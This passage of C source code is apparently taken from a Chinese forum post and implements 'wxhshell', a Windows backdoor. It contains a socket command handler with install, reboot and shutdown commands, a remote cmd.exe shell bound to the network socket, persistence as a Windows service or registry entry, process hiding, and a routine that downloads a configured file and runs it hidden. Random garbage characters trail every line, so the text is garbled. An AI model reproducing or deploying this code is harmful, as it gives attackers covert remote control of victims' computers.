  else { am (#Fa  
J/[7d?hI/  
    switch(cmd[0]) { .b~OMTHuvM  
  *h])mqhB  
  // 帮助 ?o>6S EGW  
  case '?': { k(9s+0qe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 24O d] f  
    break; J[o${^  
  } FvA|1c  
  // 安装 @7X\tV.Z  
  case 'i': { K*:Im #Q  
    if(Install()) 1:5P%$?b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]:!8 s\#  
    else k!vHO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X&,N}9>B  
    break; >vxWx[fRu  
    } )BpIxWd?  
  // 卸载 vVdxi9yk  
  case 'r': { _KxX&THaj  
    if(Uninstall()) i8eA_Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8E=vR 8  
    else `W="g6(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,i;9[4QMX  
    break; o[imNy~~  
    } 4V>vg2 d  
  // 显示 wxhshell 所在路径 K"I{\/x@  
  case 'p': { #4lHaFq  
    char svExeFile[MAX_PATH]; P;>!wU~*  
    strcpy(svExeFile,"\n\r"); /O_0=MLp  
      strcat(svExeFile,ExeFile); C?(y2p`d\  
        send(wsh,svExeFile,strlen(svExeFile),0); w4aiI2KFq  
    break; Uv'uqt  
    } IY~ {)X  
  // 重启 $Uy#/MX  
  case 'b': { H! #5!m&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A` =]RJ  
    if(Boot(REBOOT)) 4a1BGNI%SW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v$Dh.y  
    else { ^X$ I=ro  
    closesocket(wsh); T 77)Np  
    ExitThread(0); [e1\A&T  
    } (w}r7`n  
    break; R'r|E_  
    } R rxRa[{Z  
  // 关机 ^|r`"gOJ3  
  case 'd': { {#0Tl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); % hNn%Oy:E  
    if(Boot(SHUTDOWN)) <w;D$l}u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C\J@fpH(t`  
    else { #'#4hJ*YC  
    closesocket(wsh); Vj29L?3  
    ExitThread(0); [KD}U-(Wg  
    } M Ey1~h/  
    break; @H3|u`6V  
    } s~/57S  
  // 获取shell ]m RF[b$  
  case 's': { & 8zk3  
    CmdShell(wsh); q~mcjbLz  
    closesocket(wsh); l(.7t'  
    ExitThread(0); :S#eg1y.w]  
    break; ADTU{6UPS  
  } W;5N04ko  
  // 退出 X3 <SP  
  case 'x': { Yo>%s4_,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7%W!k zp>  
    CloseIt(wsh);  h=:*7>}  
    break; ;U8dm"  
    } YHJ'  
  // 离开 F=:F>6`  
  case 'q': { W&Y4Dq^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /95FDk>  
    closesocket(wsh); D5}DV  
    WSACleanup(); [;)~nPjI  
    exit(1); :U7;M}0  
    break;  n})  
        } $&bU2]  
  } DrW/KU,{+(  
  } LPsh?Ca?N  
%L.lkRs  
  // 提示信息 Pxap;;\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :p,c%"8  
} $hC~af6  
  } W=q?tD~V  
7l[t9ON  
  return; A[K:/tB  
} G1,Ro1  
gGF$M `  
// shell模块句柄 ^.nwc#  
int CmdShell(SOCKET sock) (L]T*03#  
{ D-;J;m \  
STARTUPINFO si; R9S7_u  
ZeroMemory(&si,sizeof(si)); /M5=tW#e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h]G6~TYI5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z`e$~n(Bh  
PROCESS_INFORMATION ProcessInfo; f:)]FHPB1  
char cmdline[]="cmd"; L2:oZ&:u`J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e,PQ)1  
  return 0; %w;1*~bH  
} m~b#:4D3  
=f/avGX  
// 自身启动模式 wCqE4i  
int StartFromService(void) +3(CGNE  
{ 6,sRavs  
typedef struct Y;~EcM  
{ :==UDVP  
  DWORD ExitStatus; lsTe*Od  
  DWORD PebBaseAddress; 7N&3FER  
  DWORD AffinityMask; EuhF$L1  
  DWORD BasePriority; 2n<qAl$t  
  ULONG UniqueProcessId; !&W"f#_Z  
  ULONG InheritedFromUniqueProcessId; j(wY/Hl  
}   PROCESS_BASIC_INFORMATION; K*hf(w9="%  
aTmX!!  
PROCNTQSIP NtQueryInformationProcess; Zb5T90s%  
p]atH<^;K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1aXIhk4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X7(rg W8  
 M}_M_  
  HANDLE             hProcess; 0nF>zOmc  
  PROCESS_BASIC_INFORMATION pbi; )AZ`R8-A  
$\=6."R5<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w+:+r/!g  
  if(NULL == hInst ) return 0; #)Id J]  
f?oI'5R41  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B$iMU?B3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9}7oKlyk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *R1d4|/G  
cHfK-R  
  if (!NtQueryInformationProcess) return 0; nJnO/~|  
kr &:;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J\,@Bm|1n{  
  if(!hProcess) return 0; XF0*d~4  
qCv}+d)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |wl")|b%  
|2+c DR  
  CloseHandle(hProcess); i1kh@s~8UC  
^+.e5roBKj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yDl5t-0`  
if(hProcess==NULL) return 0; av$\@4I  
#dXZA>b9  
HMODULE hMod; iyHp$~,q?t  
char procName[255]; {ILQ CvP*  
unsigned long cbNeeded; aG8;,H=%,  
cfF-e93T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o F,R@f  
l%3Q=c  
  CloseHandle(hProcess); ln_EL?V  
$txWVjR?\  
if(strstr(procName,"services")) return 1; // 以服务启动 *HfW(C$  
}T&;*ww  
  return 0; // 注册表启动 k/6G j}l'o  
} /3bca!O  
*PA1iNdKS  
// 主模块 o7Z#,>`2  
int StartWxhshell(LPSTR lpCmdLine) ~S~x@&yR  
{ Z2Y583D  
  SOCKET wsl; R _~m\P  
BOOL val=TRUE; ~vvQz"  
  int port=0; 7cQHRM+1  
  struct sockaddr_in door; R&d_ WB4w  
}@t'rK[  
  if(wscfg.ws_autoins) Install(); i(TDJ@}  
tI6USN%  
port=atoi(lpCmdLine);  s`{#[&[  
{mq$W  
if(port<=0) port=wscfg.ws_port; jTxChR  
A/W7 ;D  
  WSADATA data; J0Rz.=Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ps4Wwk(  
B[k+#YYY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AF{7<v>/P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DdA}A>47  
  door.sin_family = AF_INET; q=L* 99S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T[2f6[#[_  
  door.sin_port = htons(port); B3k],k  
`qy6 qKl N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~dX@5+Gd  
closesocket(wsl); ,1.([%z+r  
return 1; L M<=j  
} \$0 x8B   
hghto \G5Y  
  if(listen(wsl,2) == INVALID_SOCKET) { I;fw]/M%!  
closesocket(wsl); 4wEpyQ|L  
return 1; %v6]>FNP'3  
} WSX@0A.&)  
  Wxhshell(wsl);  z]R!l%`  
  WSACleanup(); U Edl"FwM4  
I]j/ ab7>  
return 0; 3qd-,qC  
Jb-QP'$@  
} "5z6~dq  
F7PZV+\  
// 以NT服务方式启动 e"8m+]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =xQfgj  
{ "/]tFY%Y  
DWORD   status = 0; \(v_",  
  DWORD   specificError = 0xfffffff; DWevg;_]$(  
?;=Y1O7N(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9Z_OLai  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q@!H^hd}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =;?PVAdu%#  
  serviceStatus.dwWin32ExitCode     = 0; 38.J:?Q  
  serviceStatus.dwServiceSpecificExitCode = 0; c#-97"_8  
  serviceStatus.dwCheckPoint       = 0; $oBZe>s .  
  serviceStatus.dwWaitHint       = 0; as47eZ0\  
#K~j9DuR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XQoT},C  
  if (hServiceStatusHandle==0) return; ?9ho|  
NCh(-E  
status = GetLastError(); XIW: Nk!S  
  if (status!=NO_ERROR) &+|4(d1  
{ b5,}w:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y5tAp  
    serviceStatus.dwCheckPoint       = 0; FZI 4?YD?<  
    serviceStatus.dwWaitHint       = 0; S5JR`o  
    serviceStatus.dwWin32ExitCode     = status; ReGb .pf  
    serviceStatus.dwServiceSpecificExitCode = specificError; /8-VC"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ac(Vw%  
    return; 4I[FE;^  
  } E3C[o! 5  
 ` :  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g"AfI  
  serviceStatus.dwCheckPoint       = 0; blkJm9]v  
  serviceStatus.dwWaitHint       = 0; ^+l\YB7pD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?01""Om   
} w0`L)f5v  
|ssIUJ  
// 处理NT服务事件,比如:启动、停止 hb\Y)HSp/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (dprY1noC  
{ ;77o%J'l  
switch(fdwControl) .BB:7+  
{ x!Y@31!Dy  
case SERVICE_CONTROL_STOP: @ tp7tB ;  
  serviceStatus.dwWin32ExitCode = 0; 8`?j*FV7kq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &1C9K>  
  serviceStatus.dwCheckPoint   = 0; Yt<PKs#E  
  serviceStatus.dwWaitHint     = 0; Y>m=cqR  
  { l,2z5p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V.[#$ip6:  
  } '{*>hj5.8  
  return; P T.jR*  
case SERVICE_CONTROL_PAUSE: s5 'nWMo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -"tgEC\tD  
  break; PKs%-Uk  
case SERVICE_CONTROL_CONTINUE: e{+{,g{iu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hCoL j6Vx  
  break; M HB]'  
case SERVICE_CONTROL_INTERROGATE: ZVR 9vw 28  
  break; |dzF>8< )  
}; ,5"]K'Vce  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ti2_kYq  
} JX<W[P>M  
n^)9QQ  
// 标准应用程序主函数 .v&h>@'m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *w,gi.Y3  
{ ,DO mh<b  
|6Z M xY  
// 获取操作系统版本 ? UDvFQ&  
OsIsNt=GetOsVer(); >RnMzH/9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <vuX " 8  
25[/'7_"  
  // 从命令行安装 ?a9k5@s  
  if(strpbrk(lpCmdLine,"iI")) Install(); D8{HOv;d^  
vaZZzv{H  
  // 下载执行文件 %$KO]   
if(wscfg.ws_downexe) { L=FvLii.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *g6o ;c  
  WinExec(wscfg.ws_filenam,SW_HIDE); c9@jyq_H?  
} ng*E9Puu[  
F}DD;K  
if(!OsIsNt) { 4N0nU  
// 如果时win9x,隐藏进程并且设置为注册表启动 <5}du9@  
HideProc(); u@'zvkb@  
StartWxhshell(lpCmdLine); (:x"p{  
} i)3\jO0&GU  
else ghj~r  
  if(StartFromService()) \8aF(Y^H  
  // 以服务方式启动 nv{4 U}&P  
  StartServiceCtrlDispatcher(DispatchTable); X($SBUS6  
else qE:DJy <  
  // 普通方式启动 AAY UXY!  
  StartWxhshell(lpCmdLine); y ]%,Y=%X  
cN>i3}fq  
return 0; =Q/>g6  
}
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只看该作者 1 发表于: 2006-10-10
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